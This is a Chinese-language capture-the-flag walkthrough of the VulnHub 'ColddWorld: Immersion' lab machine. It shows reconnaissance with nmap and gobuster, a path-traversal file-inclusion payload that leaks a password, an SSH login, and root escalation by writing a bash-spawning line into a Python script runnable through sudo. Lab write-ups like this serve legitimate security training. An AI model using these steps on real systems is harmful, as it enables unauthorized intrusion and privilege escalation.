目录
靶机下载地址:ColddWorld: Immersion ~ VulnHub
靶机下载地址:ColddWorld: Immersion ~ VulnHub
目标:取得两个flag
一、信息收集
1. 确认靶机IP
┌──(kali💋kali)-[~]
└─$ sudo arp-scan -I eth0 10.9.23.0/24 #(指定网卡扫描)
2. 端口扫描
使用nmap进行全端口扫描
┌──(kali💋kali)-[~]
└─$ sudo nmap -A -p- 10.9.23.231
# -A 全面扫描,获取更多的信息
# -p- 全端口扫描,扫描主机上0-65535个端口
PORT | STATE | SERVICE | VERSION |
80 | open | http | Apache httpd 2.4.18 ((Ubuntu)) |
3042 | open | ssh | OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) |
3. 使用浏览器访问80端口网页
3.1 查看源码
源码无可用信息
4. 使用gobuster爆破目录
┌──(kali💋kali)-[~]
└─$ gobuster dir -u http://10.9.23.231 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,txt,html,js,zip
# dir 目录爆破模式
# -u 指定目标URL
# -w 指定目录字典
# -x 指定扫描的文件后缀
5. 访问login界面
5.1 弱密码尝试 查看网页回显信息
第一次尝试
第二次尝试......
经过几次尝试,发现不管我们怎么登陆网页都会重定向到空白页
6. 查看登陆界面源码
在源码界面我发现了两个用户名carls,c0ldd,以及c0ldd留下的一条消息:密码留在了/var下的名为carls.txt的文件中
并且通过提示account.php界面存在文件包含漏洞,并且使用get传参,我们可以直接通过URL去访问carls.txt文件
二、渗透过程
1. 获取密码
1.1文件包含漏洞利用
获取carls用户密码
http://10.9.23.231/login/account.php?page=../../../../var/carls.txt
成功获得密码:Y2FybG9z
1.2 base64解码
密码为base64编码,利用burp suite Decoder模块进行解码:carlos
2. ssh远程连接
┌──(kali💋kali)-[~]
└─$ ssh carls@10.9.23.231 -p 3042
# 密码:carlos
# -p 指定端口连接
3. 取得两个flag
执行sudo -l
可以看到我们可以作为carls用户直接执行c0ldd用户的/bin/bash命令
执行/bin/bash
3.1 获得第一个flag
再次执行sudo -l
我们可以以root身份执行DoNotRun.py文件
使用vim编辑器将
import os
os.system("/bin/bash") 写入到py文件中 wq!保存
3.2 提权
执行DoNotRun.py
sudo -u root /usr/bin/python3 /home/c0ldd/DoNotRun.py
提权成功!
3.3 获得第二个flag
echo 'RmVsaWNpZGFkZXMgY3JhY2s=' | base64 -d